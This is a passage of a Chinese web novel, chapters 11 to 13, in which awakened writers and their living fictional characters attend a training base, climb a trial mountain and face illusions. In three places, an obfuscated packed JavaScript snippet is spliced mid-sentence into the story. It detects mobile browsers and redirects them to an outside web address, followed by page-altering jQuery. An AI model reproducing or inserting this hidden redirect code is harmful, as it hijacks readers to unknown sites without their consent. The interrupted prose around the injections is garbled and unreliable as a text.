光芒里,两只小猫的身体都化作粉尘,和火焰跳动的气流融合到一起。 它们变成一条飘带,附在大猫的细尾上,发出蛋白质的焦臭味。 “喵。”大猫不以为意,把尾巴揣进自己的怀里,整个身体都开始燃烧。 大猫缩小。 再缩小。 最后变成一只小猫的形状。纯黑色的,比巴掌大不了多少。 和它失去的小猫一模一样。 艾以何的呼吸停住了。她的心神震动,恍惚从虚空里听到一声叹息。恍惚的、虚幻的……好像在哪听过。 影子很安静。 艾以何轻轻地把那只小猫抱起来。小猫没有挣扎,只是缩在她怀里,把自己缩成一圈,抱着自己不再发光,显得有些臃肿的尾巴。 周婉和林骁都看到这一幕,沉默了很久,她走过来,轻声说:“它选了你。” 艾以何很少被人选择。 她没说话,只是抱着小猫,抚摸着它的背脊。外面的橘猫看着非常想进来,眼睛快把窗户挤垮了。 火堆的光快灭了。 女高中生的呼吸很轻,一下,一下…… 是活着的呼吸。 离张鹰规定的晚上9点还有十几分钟,橘猫守着救援队把女高中生抬进车,咚咚跟着汽车跑起来。 乌鸦失去看守,“嘎”了声,展翅欲飞。 艾以何低头看它,“不要再招惹我,再有下次一定杀了你。” “嘎——嘎嘎!”乌鸦翅膀拍了拍胸脯。 张鹰好像有点不高兴。 那辆皮卡还停在北风街巷子口,她靠在车门上,手里拿着平板,脸色说不上难看,但也绝对算不上好看。 “后排有塑料口袋,你们一人拿一个。”她的视线略过林骁,落在周婉身上,眉头皱了一下,“别吐我车上,吐了也不会停车。” 艾以何看了眼手机,八点五十七分。 “还剩3小时零3分钟。”张鹰把平板收起来,语气平平,“踩点出发,赶快,时间有点赶了。” 张鹰坐进驾驶座,发动车子。 林骁推了推王卫边,后者正把大家的行李放到后备箱,完了会意地选了副驾。他一上车就系好安全带,双手放在膝间,开始闭目养神。 张鹰发出一声嗤笑。 林骁笑嘻嘻的逗着艾以何怀里的小猫,一副完全没听到的样子。 自从张鹰在他面前提了渊行者这个词。虽然不知道具体定义,总之一定不是好人。不然这辆车应该把杀了对方的艾以何送去监狱,而不是什么培训班。 再回想狼群退散前那个恐怖的阴影,他谁也不想说,包括不知情的艾以何自己。 就跟他小时候在大伯那看到的一样,权力和力量,哪怕明知下一步就是深渊,也会渴望更多,就像……他的哥哥那样。 “距离首都三百二十公里。”张鹰说,“按我的速度,预计二个半小时。但路上会经过七个检查站,每个都要停车核验身份,所以要预留一点时间。” 她顿了顿,从后视镜里看了艾以何一眼。 “另外,猫不准尿在我车上。” 艾以何“嗯”了一声。 张鹰没再说什么,猛地踩下油门。 她开车,乘客是看不到什么风景的。艾以何坐在正中央,一会搂住周婉不让她飞出去,一会替林骁撑开口袋,避免他真吐到张鹰车上。 猫在摇晃中悠闲的甩着尾巴,最后还打起了呼噜,是后座最轻松的那一位。 艾以何低头,猫在她怀里睡得很沉,把自己缩成一圈,把尾巴抱在怀里。仔细一看,尾巴尖还带着细碎的光屑。 防窥玻璃上,倒映着她黑漆漆的影子。 她弯了弯唇角。 第1个检查站到了! 不是那种临时的路障,是正正经经的检查站。水泥墩子、防撞护栏、持枪的武警和拿仪器检测的红袖章。 旁边还搭着帐篷,里面有人在休息,有人在吃饭。 林骁趴在车窗上,像狗一样的喘气:“358号检查站?那一共有多少个啊?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482372|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点路段五百米一个。”张鹰笑着把证件递给武警,头也不回,“我们走的是高速,没那么密,你待会自己数数。” 对方看到他证件上的公章,刷的一声敬礼,“全线二千三百名警力,十二小时轮一班。任何地方发生异常,十分钟内保证赶到。” 林骁缩回脑袋,小声说:“这也太……” “太什么?”周婉发现天色太黑,自己根本看不清张鹰的证件内容,回头睨了他一眼。 “太让人放心了。”林骁说,“我以为大家早乱成一锅粥了。” “连乐水区都第一时间组织了避难所,统筹物资,还把我们拉进民兵队,乱不了。”艾以何好不容易有了休息的空档,埋头看手机。 高速上的信号也是满格。 她打开那个警方APP,置顶的消息是:【全国觉醒者登记工作已基本完成,首批培训计划启动】 往下翻,还有: 【各地避难所秩序稳定,感谢广大市民配合】 【谣言辟谣:没有“怪物攻城”、没有“政府撤离”、没有“世界末日”】 评论区有人问:“那些变异动物呢?!” 下面有人回复:“已经被收编了,都在郊外当保安。” 艾以何看着那条回复,嘴角动了动。 她看了看怀里的小猫。它还在睡觉,小肚子一起一伏。 “快看,我刚接到乐水区的短信,任务奖励5个荣誉点,你们有没有?”林骁突然大喊。 周婉:“不巧,我8点。” 艾以何直接没敢吭声,她得到了17点。 林骁才不管她的体贴,挪过来强行要知道,发现两个都比自己高,发出一声哀嚎,直接扑向副驾椅背。 “王——哥,你是多少点?” 王卫边摇了摇头。 林骁愣住,气氛一下冷下来。 “他参加改造,应该贷款了不少积分。”张鹰嚼了嚼口香糖,把拿回来的证件仔细收好,“没还完之前,永远是在给治疗师打工。” “那个,姐,我亲爱的张姐。”林骁的眼睛又亮了起来,偷偷看了眼她旁边沉默的王卫边,“我能问个问题吗?” “……问。” “首都那边,我们到底怎么样才能够挣积分?这个荣誉点又是什么?”王哥欠着债,总得想办法还上,他又不是一人吃饱全家不饿的单身汉。 周婉也在等这个问题的答案。不过比起这个,她更关注张鹰对艾以何和王卫边特殊的态度。 张鹰沉默了两秒。 “到了你就知道了。” “这算什么回答?”林骁佯装不满,“我这人好奇心重,你不说我会憋死的。” “荣誉点评职称用的。你们每个人都不一样,麻烦死了。”张鹰轻踩了下油门,车缓缓起步右转。她余光扫过王卫边,隔着墨镜,眉毛上挑,车随即驶离检查站。 林骁见好就收,退回来小声嘀咕:“行吧,不知道我能不能也成为治疗师。” 周婉道:“刑讯室更适合你。” “啊?” “不招就上刑,不行了就给他灌你的饮料,这样还不招,反正体力也恢复了,继续上刑。” “过分了哈!” 王卫边听着他们逐渐轻快的话题,右手的拳头慢慢松开,露出一个笑容。 他的手机震了一下。 聊天软件上,老婆一长串的语音甩了过来。他下意识往后看,结果对方开始给他发表情包。 死哪去了.jpg 几个人,去哪,回来还爱我吗.jpg 我要出门捡狗了.jpg 王卫边沉默了,他打了几个字,又慢慢删掉。 最后举起手机,对自己左臂来了一张自拍。 哪怕在贴了防晒膜的车厢里,那条机械造物也泛着冷光,他五指张开,让摄像头拍到指尖窜着的那一串蓝色电火花。 【啊啊啊啊啊啊老公你帅爆了!快点回首都,我要亲死你啊啊啊!】 王卫边……行吧。 11. 三个主角三种颜色 在无数星空下的郊外夜晚,巨大的金属剑横在山体之间,镭射灯在上面闪耀。藤蔓和古树在半山腰处交织,长满了高达的头、洞穴、蘑菇等等觉醒者自己喜欢的房子形状。 “哇——”林骁整个人贴在车窗上,想打开车窗看得更清楚,却发现窗户被锁了。 他瞪了张鹰一眼,继续看那座山,根本没关注他们到底过了几道安检。 艾以何拿起手机,却发现没信号了。 ……本来想到了给何晓慧发短信的。她莫名松了口气,发不出去就算了。 车来到了山脚下,这里修了一个平平无奇的二层小楼。 “到了。”张鹰熄火,打了个哈欠,“这里是觉醒者临时管理中心,你们先在这里登记,然后选宿舍装修。不用担心,老邓的队伍速度快的很。” 说到这里,她突然笑了声,语气来了精神,“正好你们培训一小时后开始,完了就能享受死了一样的睡眠。” 周婉最后一个下车,拿着手机对张鹰道:“张老师,我能不能要个你的联系方式。” 张鹰隔着墨镜看了她一下,飞快地报出一串数字。 周婉用手机记下,转身跟上艾以何。后者回头看时,皮卡已经冲进了上山小道。 走在最前面的林骁已经开始期待了:“走走走!我也要住高达。” 他拉住王卫边,“王哥你跟我一样吗?还是住普通的?” 王卫边脚步顿了一下,被他拉着走。 “除了你,就没人这么重口味。”周婉无语,她选了一个视野高一点的洞穴,请登记人员务必备注,一定要放个席梦思做的鸟巢。 艾以何只要求隔音,通水电,空间大一点就行。 “墙的话,浴室浅蓝色,主卧的话……”艾以何下意识摩挲着手腕,又低头看了一眼影子,“要黑色。客卧就用绿色吧,像小草刚萌芽的那种绿色。” 培训即将开始,林骁离引路的工作人员最近,一路上问东问西。 当对方按下电梯,且一直被追问是不是像漫画里那样,地下有几百层时,终于忍不住了,用礼貌的微笑一脚把人踹进电梯。 周婉举起手,“我自己走。” 艾以何跟上,却发现王卫边沉默地待在另一边,并没有一起的意思。 周婉捂住林骁的嘴,“跟你王哥说下次见!” “呜——呜呜。”你倒是让我说话啊。 王卫边嘴角浅浅的上扬,右手朝他们挥了挥。 电梯门合拢。 再打开时,人声沸腾。 艾以何突然想起自己的中学,那是一所乡镇学校。每到运动会的时候,校长就让每一个孩子都必须出节目,服装乱七八糟的,舞蹈乱七八糟的,但非常热闹。 就像现在这样。 “道具班——道具班这边集合!划水必备,不想挨打就来我们道具班!” “变异班在这边,进班就发战服,可变形,不会撑烂啊!” 周婉被高举的牌子和社团招新一样的口号整懵了,感情分班不是老师分的,而是自己来选。 她和林骁该去哪个班倒是很明显,但他们还有一个人呢。 艾以何把睡眼朦胧的小猫递给虎耳少女,问:“没让它登记,能上学吗?” “能啊。”少女笑起来露出虎牙,“来我们动物班就对了,你到时候每天上学把它送来,放学接回去就行。对了,同学,你要报哪一个班?” 艾以何沉默了,因为她已经在最浮夸的牌子底下看到了好几个熟人。 【创作班(龙傲天一班)】 【创作班(废柴流二班)】 【创作班(好宝宝三班)】 艾以何沉默了,群里可没提过有这东西啊。 “艾——可——人!”有人在叫她的笔名了。 完了。 艾以何闭上眼,假装没听见。 一个圆滚滚的熊猫弹了过来,“老艾,走啊,我们三班就差你这个好汉。” “老万?” 笔名“万万没想到我有猫了”的熊猫点了点头,艾以何联想她最新的连载叫《小熊猫闹闹》,神情变得有点复杂。 “你变成熊猫了?” 老万抬起爪子,挠了挠自己毛茸茸的耳朵,“语言是有魔力的。” “所以,不要看不起好宝宝这个名字。”熊猫突然具现出一副眼镜带上,“一班经常被他们的主角揍,退学的人也多。二班倒是还好,但是能力都不强,教官见到都叹气。而且……” 熊猫突然蹲下来,压低声音,“知道渊行者吗?” 艾以何点了点头,跟着蹲下,把耳朵凑到猫嘴前。 “他们X点的主角吧,哎,我昨天才来,今天就听到又有一个主角接受不了现实,把作者捅了。”熊猫小声的把话题说完,宽大的爪子拍了拍艾以何的肩膀,画风突然一转。 “还是我们三班好,一二班每天都有思想品德考试,我们一个月才考一次。” 听起来也不是什么好事,三班似乎也不是百分百安全。艾以何沉默片刻,问:“这里的老师教的东西有用吗?对能力有没有提升?” 熊猫思考了一下:“不好说,每个人不一样。” 广播响起。 一阵刺耳的铃声持续地响着,尖锐到所有人都说不了话,不得不把耳朵蒙起来。 机械的电子音播放:“各位同学晚上好,欢迎参加2035年春季第5期觉醒者培训班。” “在这春风和煦、万物复苏的美好时节,希望各位同学已经找到了自己想加入的班级,没找到也没关系,普通班收留你们。那么长话短说,从现在起以班级为集体,开始想办法到达山顶吧!” “总共才办了5期,整的跟弄了几年似的。”老万挠了挠头,一把将艾以何扛到肩膀上,毛茸茸脸冲着周婉和林骁笑了笑,像旋风一样把人抗到了三班。 “同志们!开盘啦,搞完一起上山。赌老艾是召唤流的群里Q1,赌附身流的Q2,赌金手指老爷爷的Q3。” 另一个妆容精致,穿着蕾丝花裙,背上长着蜻蜓翅膀的女人用很慢的视线扫过艾以何,“孤儿流不该去一班吗?” “老花你去了老艾都不可能去。”熊猫的眼镜变成飞镖,刷的一声砸向“末日有花”。 蜻蜓翅膀抖了抖,无形的声波直接将飞镖弹了回去。 “滚蛋,我对花明明是真爱。”花明明是她主角的名字。 熊猫呲了呲牙,“我和老艾写文也是用爱的。” “好了好了,票投完了,我数了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482373|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分人都选的召唤流。”头戴金色冠冕的“小白文之神”出来劝架,“可人给个答案呗,完了就出发,别真落在一班后面了。” 艾以何还记得这位在首都分了一套房的故事,她思考了会,掌心凝聚出一只迷你熊猫的冰雕,并将它放在突然只会“啊啊”大叫的熊猫爪子上。 “末日有花”呵了声,“艾莉西亚居然愿意把能力借给你?她居然没揍你。” 艾以何想起来了,这位在连载期间给自己投了不少打赏,是艾莉西亚的粉丝头子。 “……”还好没用影子。 这个冰雕大受欢迎,三班从山脚出发的时候,熊猫时不时就被人从艾以何身边挤开。到了最后,连“末日有花”都忍不住凑过来,求了一个花明明的Q版射击小人。 爬山的路上一直没发生什么事情。路过半山腰的时候,熊猫还给艾以何指了指自己树屋的位置,欢迎她这期培训过后来喝盆盆奶。 “以前一起吃饭的时候,拍照你站我旁边,我要踮脚才能同框。”熊猫颠了颠重新扛回自己肩膀上的艾以何,“现在好了,嘿嘿,你跳起来都打不到我肩膀。” 艾以何没说话,只一味抓紧她后颈的硬毛。 熊猫现在起码有二米五,艾以何视线被甩的到处乱转,突然发现道路两旁的树上,那些藤蔓太密了,密得不正常。 它们包住了什么? 她的肩膀被碰了一下。 “?” 艾以何的冰剑下意识出鞘。 古树活了。 藤蔓像惊醒的蛇群,从四面八方弹射而来。每一根顶端都张开圆形的、长满利齿的大嘴,像一朵朵捕猎状态的食人花。 艾以何挥出第一剑! 冰层一瞬间爬满最近的那根,但更多的藤蔓铺天盖地的涌过来,把月光都遮住了。 “嗡——” 无形的声波从艾以何后面炸开,末日有花的蜻蜓翅膀几乎抖成了残影。 金光! 小白文之神的冠冕亮得像个小太阳,光芒所到之处,藤蔓垂回地面,像无言的臣服。 爪子、锄头……还有粉嫩嫩的魔法棒接踵而来,藤蔓散落一地,重回寂静。 月光重新落了下来。 藤蔓中间躺着一个人。 不对,是两个。 一个留着齐刘海的男人蜷在地上,闭着眼,身上缠着干枯的藤蔓。另一个透明的人影卧在他身前,双手护着他的脸,像一个随时会散掉的幻影。 “咦,二班的小张。”熊猫把艾以何放下来,“怎么落单了……” 她没说完。 那个透明人转过头来,看了他们一眼。那双眼睛很空,除了造物主,似乎什么都映不出来。 然后他低头,把男人用藤蔓重新捆到背上,一步一步往山上走。 没有人拦。 艾以何站在原地,看着那个背影越来越小。他走得很慢,每一步都像要散掉,但背着男人的手,一直都没有松开。 直到消失在夜色里。 “走咯,培训又死不了人,最多扣分。”老万拍了拍她,“继续上山。” 艾以何忍不住又低头去看自己的影子。 影子一动不动。 但她知道,影子一直都在。 12. 欢迎来到艾莉西亚的世界 藤蔓太多了,砍完一波又来一波。那些带刺的枝条简直就像活物,还会躲避攻击,稍有不慎就把人缠住了。 小白文之神大口喘气,扶住有些下滑的金冠:“这样不行,还没到山顶就没力气了。大家轮流出手怎么样?可以的话,我就在群里排个班。” 众人都无异议。 小白文之神手速飞快,很快排好班次,艾以何和熊猫、末日有花被分在最后一组。 小白文之神还特地过来,“你们三个够强了,把多的名额让给有需要的同志吧。” “谢谢白神看得起我们,要是玩脱了,你要救场啊。”熊猫答道。于是艾以何跟着点头,有些好奇熊猫到底还有哪些技能。 末日有花见状,哼了声,也没反对。 快到山顶的时候,防守又轮到了第6组。艾以何甩了甩手腕,胳膊已经开始发酸,冰剑更是在掌心凝了又散,散了又凝。 三个人要顶住一个班的攻击。艾以何不知道多少次挥剑后,发现了冰霜接触到藤蔓根部时,它们的攻击会轻微偏离。 从那之后,她的每一剑都往根部招呼。 熊猫试图帮她挡过几分钟,后来自己也喘上了。 她的胸口起伏着,原本柔软的皮毛泛着金属光泽,一根根硬毛竖起来,互相碰撞,细碎的金属摩擦和她呼哧呼哧的喘气此起彼伏。 末日有花翅膀微震,悬在半空。声波不间断的朝四周发射,藤蔓躲得远远的,她甚至还有时间掏镜子出来,看看自己的妆有没有花掉。 藤蔓的攻击逐渐变缓,艾以何缓过气来,就听到林骁的声音从后面某个地方传来:“还有多远啊——” 没人回答他。 “这对我们班太简单了。”小白文之神摇了摇头,“教官不会那么好心。” 话音刚落,山路拐角处冲出来一辆泥头车。 不是比喻,是真的泥头车。巨大的、生锈的、车厢上还印着“渣土运输”字样的重型卡车,直直朝他们撞了过来。 “白——神!”熊猫大喊,也不知在喊他乌鸦嘴,还是在求救。 三班的人瞬间散开。 末日有花的蜻蜓翅膀一抖,她闭着眼,变了频率的声波从身上扩散,扫过那辆车的每一个角落。 车头、车厢、底盘、轮胎——后备箱! “没有人!”她睁开眼,“空的!直接打烂它!” 熊猫马上冲了上去。 她的身体在跑动中发生变化,全身的毛发变成了钢针,又像是铠甲,把她整个人包在里面。 她横在路中间,双手往前一推,硬生生接住了那辆泥头车的车头。 金属撞击的声音听的人牙酸!冰沿着路面快速延伸,强行将12个轮胎全部冻住。 熊猫的脚在地上犁出两道深沟,但到最后,她也没退。 车停了。 但另一辆从侧面又冲出来! 一道金光笼罩上去,小白文之神的冠冕亮得刺眼。但那辆车晃了晃,还是没停,继续往前冲。 艾以何的冰剑已经举起,但她发现那辆车的速度太快,根本来不及冻住轮胎。她的影子陡然伸长,缠住那辆车的底盘,硬生生把它拖慢了一秒。 就这一秒,冰霜覆盖轮胎! 庞大的泥头车还在冲,但方向偏了,从熊猫身边擦过去,直直撞向树林。 突然,它碎了! 不是被击碎,是从内部炸开。 一道锋利的剑气从车厢迸射而出,把整辆车切成了两半。车身还没落地,又被一股无形的力量震成粉末,簌簌落了一地。 粉末随风散去,连同那影子也缩回艾以何脚下。原本车厢的位置,这时露出一个人。 对方个头起码有一米九几,左手提着剑,一身黑色风衣,眼神睥睨。 他右手里还拎着一个偏胖的矮个男人,确切地说,是拎着那个男人的卫衣帽子,像拎着一只小鸡崽子。 “你到底在搞什么?”那个高大的男人低头看了一眼手里的人,语气里全是不耐烦,“就教你个瞬移,你都能跑到敌人的车里,你怎么不直接去死,那还快点。” 被骂的男人缩着脖子,不敢说话。 见到他们的第一眼,艾以何就知道自己终于见到了一班学员和他的主角。 那个主角随手把造物主往地上一放,转头看向三班这边。他的视线扫过每一个人,最后落在艾以何身上,顿了一下。 “你也用剑?” 艾以何没说话。 “三班。”那个主角的语气变了,从睥睨变成了遇到某种难题的不解,“他为什么会愿意把剑给你?” “……不知道。”艾以何收回剑,下意识摸了摸手腕。 男人脸上露出一丝轻蔑,他转身往回走,路过自己的作者时,抬脚踢了他一下:“跟上,别在这丢人。” 他的造物主爬起来,拍拍身上的土,脸上带着讪讪的笑,小跑着跟了上去。 艾以何看着他们的背影,想着一个用身体挡住藤蔓,一个用剑气炸碎卡车。方式不一样,但好像又一样。 她蹲下来,用手抚摸着泥土里的影子,她能感觉到对方的焦躁和不安。 但不可以哦。 没有正当的理由,艾以何不允许何露露在这个世界杀人。 见她站起来了,熊猫凑到她旁边,压低声音:“刚才是一班的鱼哥,是被主角揍得最惨的那个。” 她揉了揉自己恢复毛茸茸的肩膀,那些钢针一根根软下来,又变回柔软的毛,“他的主角嘴上骂得凶,该出手的时候还是会出手。” 道具班的人不知道什么时候已经来了,林骁正蹲在路边,嗑着同学请的瓜子,听他们点评创作班的战力。 变异班的人倒是准备帮忙的,还没跑到,车已经碎了。 领头的那个男人甩了甩手,把棕色长毛的巨掌变回原样。掌心的毛还没完全变回去,他烦躁地甩了甩,又领着班级继续上山。 动物班的几只猫猫狗狗见状,跟着这群大块头跑远了。艾以何似乎看见一道眼熟的黑色影子混在其中。 熊猫看着这些人各走各的道,收回视线,啧了一声:“冤家路窄啊,一班挨打的时候很惨,这个时候就很爽啊。” 末日有花从天上落下来,翅膀收拢,红唇上扬:“那你把闹闹喊出来,踹它两脚就能去一班了。” “那祖宗又不是我说出来就愿意出来。”熊猫挠了挠耳朵,表情痛苦。 “让一让,让一让——” 一个穿着交警制服的人从道具班后面挤出来。他手里拿着一个对讲机,走到那堆粉末跟前,皱着眉看了看,然后抬起手。 轻轻一挥。 所有粉末消失了。那两辆泥头车就像从来没出现过一样,只剩下路面上的熊猫的脚印和刹车痕迹。 “大家好,我是本期的教官,我姓王。”他转过身,羞涩地抿嘴笑了笑,“旁边这位是毛教官,今晚由我俩负责三班在试炼之剑上的安全。” 大家一齐转头。 山上那把巨大的剑,现在看起来离他们这么近,看起来光可鉴人。 这个距离,基本能看清剑身上的纹路,镭射灯在金属表面投下的光斑,还有……自己的影子。 “试炼之剑的幻象,每期都不一样。”王教官在旁边解释,“最后一关尤其……咳,因人而异。” 熊猫鬼鬼祟祟的戳了戳末日有花,突然压低声音:“说起来,这一次培训是不是最后还是那个?” 末日有花点头:“就是那个。”她别过脸,耳根红了一下。 艾以何:“你们说哪个?” 两个人都没回答,只是看着她笑。笑得意味深长,笑得看热闹不嫌事大。 “走吧。”王教官在前面招手,要三班跟着他走。 艾以何回头看了一眼,林骁正站在道具班的人群里,朝她挥了挥手里的瓜子,嘴型在说:“加油啊冰柜。” 她嘴角动了动。 三班比其他班级更早一步抵达山顶,王教官让他们一个个签好安全协议,便准备开始试炼。 艾以何跟着大部队往前走,踏上剑身的那一刻,脚步突然一沉。 好重。 像是有什么东西压在肩上,从四肢往骨头缝里挤的重。 末日有花回头看艾以何,嘴角上扬的弧度更大了一点。但她没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482374|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,只是身子往旁边让了让。 熊猫伸手把艾以何拉到队伍最里面,自己走到外侧。 一步、一步、一步,脚步越来越沉。 艾以何盯着脚下的剑身,金属的纹路被镭射灯的光描绘的很清楚,流光溢彩,感觉每条纹路都在发光。 她的影子就在脚边,一直跟着。 艾以何走着走着,脚下的触感好像变了。她眨了眨眼,眼前的画面开始变得透明,另一层世界从底下浮上来。 她看到了雪原。 白茫茫的一片中有个山洞,洞口结着厚厚的冰。洞里有摇摇欲坠的火光,插着一把系着红绳的剑。 一个小女孩蹲在洞口,抱着膝盖,盯住外面的风雪。她的嘴唇全是裂纹,手脚长着疮,但她一动不动,就那么看着。 浅灰色的眼睛仿佛被高山上的积雪淹没,看不出任何情绪。 画面一闪—— 是地下城。 在狭窄的,永远晒不到太阳的巷子里,在墙角阴影中,蹲着一个小女孩。 她很瘦,手里攥着一把生锈的刀。她的嘴唇抿成一条直线,手腕在发抖。 有人走近了。 她抬起头,把刀握紧。 然后——画面暗了。 影子沉入意识的深处,拒绝被造物主看到更多记忆,然后把另一个人拉了出来。 艾以何发现自己还站在原地,脚下还是那把剑,身边还是防止她掉下去的熊猫。 但她面前站着一个人。 银发马尾,破损的皮甲,眼睛里倒映着天空的湖水。 是艾莉西亚。 艾以何有些诧异,微微歪了歪头:“你怎么会在这里?” 她意识摸了摸口袋,发现巧克力还在行李那里。 她有些丧气的“哎”了声。 艾莉西亚看着她,突然笑了。笑意从浅灰色的眼底升起,让艾以何想起雪原上亮起的篝火,温柔得几乎不真实。 “这是在我的书里。”她的笑容像被风吹散的狼烟,“欢迎来到我的世界,造物主。” 她伸出手。 那只手很冷,是被冰雪沁到骨子里的那种冷。但她握住艾以何的手时,仿佛皮肤的接触中都能感受到热度。 艾以何低头看那只手。骨节分明,有深深浅浅的伤疤。 艾莉西亚的手,现在正握着她。 “你……” “嘘。”艾莉西亚牵着她往前走,“时间有限,我们更该珍惜一点。” 艾以何没再说别的。 艾莉西亚握着艾以何的手,把她带到那片雪原里。风很大,雪很冷,但那只手牵住她的手一直没有松开。 不知道过了多久。 雪原消失了,就像艾莉西亚从未来过。 艾以何睁开眼,发现自己还站在剑上。 一切如常。 但手心里,好像还留着什么人的温度。 “艾以何同学。” 她愣了两秒,才反应过来是王教官的声音。她低下头,看见他正站在一辆新的泥头车顶上,手里拿着一个本子,正往她这边看。 “及格。” “啊?” 王教官没解释,只是在本子上画了个勾,然后扭头看向试炼之剑的另一边。 毛教官正蹲在地上,骂骂咧咧地掏出针线,缝合一个满身是血的学员。对方脸上还带着恍惚、暧昧的笑,仿佛还在梦里没醒过来。 “提高同步率就提高同步率,脑壳有问题,瓜娃子些天天就想着‘那个’,这怎么得了哦。”毛教官头也不抬,“下一个。” 陆陆续续的,三班所有人都走出了幻象。末日有花是最后一个,她捂着嘴,脸上的妆基本消失殆尽,连眼线都没了。 熊猫嘿嘿直笑,“花明明又啃你了?还是说——”她拉长声调,故意凑到她的面前,“舌头也被啃了?” 末日有花直接变成了一朵滚烫的大花,嗷呜一口把熊猫的头咬了进去。 “嗷嗷嗷——我错了我错了,我不说了!!!” 艾以何站在旁边,若有所悟的抚摸着自己的右手。 手心现在是空的。 13. 阿野第一次入梦 试炼之剑的高台上,三班已经全员通过,但其他班的人还在幻象中挣扎。 艾以何站在终点往后看。 变异班的一个壮汉正在疯狂攻击自己,他的左拳砸向右脸,右腿踢向左膝,整个人像被什么看不见的东西撕扯着。 普通班更惨,有人跪地求饶,有人蜷成一团发抖,有人嘴里反复喊着“不要”。 “第5期的人好像比前面几期多。”熊猫对这些场面习以为常,凑过来,毛茸茸的脸上难得没有笑。 小白文之神推了推金冠,压低声音:“我听到了内幕消息,现在全国各地还在不断产生新的觉醒者,之后会陆续往基地送。人只会越来越多。到时候除了异空间战斗,还要统筹分配一部分人去外地。” 末日有花翅膀一抖:“还要出差?我讨厌出差,会睡不好。” 艾以何没接话。她在想自己的宿舍到底装修好了没有。 毛教官从人群里挤出来,一脸烦躁。她看着变异班和普通班躺了一地的伤号,骂骂咧咧地朝王教官挥手:“不行了,受伤的太多了。你带他们下山,我在这守着。” 王教官点点头,手一挥。 一辆巨大的泥头车凭空出现,车厢门自动打开。 “上车。”他说。 三班和不知道什么时候混过来的道具班一起集合,塞满了整个车厢。艾以何刚站稳,车就动了! 不是开,是冲。 从试炼之剑的高台往下,几乎是垂直的俯冲! “啊啊啊啊——”熊猫的尖叫震得车厢嗡嗡响。 林骁在她旁边,同样扯着嗓子喊。两人对视一眼,叫得更放肆了,脸上全是兴奋,没有恐惧。 艾以何抓住车厢壁,心跳加速,但嘴角动了一下。 只过了5分钟,车停了。 艾以何跳下车,眼前的景象让她愣了一下。 宿舍区比她想象的……乱。 各种各样的建筑挤在一起,金属质感的高达、爬满藤蔓的树屋、透明的水晶球、甚至有一个巨大的蘑菇。 但往里看,渐渐出现了正常的房子。一栋栋砖混结构,有窗户有阳台的小平房,每个人宿舍之间都保持了一定的距离。 新学生刚到,就有扑扇着翅膀的小精灵飞来,给每个人分发房间钥匙。 它们翅膀后面抖落着光粉,在空中拖出细细的轨迹,像一根根发光的线,一头连着精灵,一头牵向各自的房子。 熊猫从车上跳下来,看了看林骁选的房子方向,拍拍他的肩膀:“够有个性,居然选变形金刚。” “是高达。”林骁纠正。 “行行行,你是对的。”熊猫敷衍地摆手,“下周我要是能排到异空间战,我就申请换个住的,也要那种能变形的。” “那不就是高达吗?” 两人开始无意义地争吵。 艾以何没参与。她看着不远处她的那栋小楼。灰色的外墙,暖黄色的灯光从窗户透出来,阳台上甚至摆着一盆绿植。 那是她的宿舍。 她走过去,并跟送她到家的小精灵道了声谢。 小精灵送上飞吻。 在大门外,艾以何深吸了口气,才一把推开门。站在玄关那一刻,她没动。 好温暖。 这是她第一个感觉。 木地板是温的,灯光是柔的,空气里有淡淡的木头香味。 她先去看浴室。 墙是她想的那种浅蓝色。不是冰的那种冷蓝,是浅浅的湖水那种蓝。 她想象着洗澡的时候,热气蒸腾,蓝色的轮廓会慢慢变淡,变成清晨湖面的薄雾,变成轻轻裹住身体的那种暖意。 艾以何站了几秒,然后推开主卧的门。 黑色的墙,营造出静谧的氛围。 她低头看自己的影子。 “这是主卧。”她说,声音很轻。 影子没动。 艾以何蹲下来,伸手抚摸影子。“是我和你的房间。” 影子动了,像水从容器里溢出来,沿着地砖的缝隙慢慢蔓延。 她流过床脚,绕了一圈,又流到衣柜前,最后漫过每一个角落,像是在确认这是她的地方。 影子最后回到她脚下,轻轻晃动。它又爬上她的小腿,在掌心蹭了蹭。 “我想你会喜欢这里。不过不喜欢也无所谓,熊猫说可以换,我们按你喜欢的再弄一次。”艾以何指了指床,“在这睡一觉。放心,我们现在很安全。” 床很大,被子是软的,枕头蓬松得让人想立刻陷进去。 影子动了动,先离开她身体,往前游了两步。 然后停下来,回头。 艾以何站在原地注视着她,没动。 影子这才继续,慢慢地、慢慢地游上了床。 黑色的墙和黑色的影子几乎融为一体,只有边缘微微起伏,像在呼吸。 艾以何没有关门。 她去阳台、去厨房、在屋里到处走动。脚步声不重,但主卧里随时能听到,影子始终能够知道她还在。 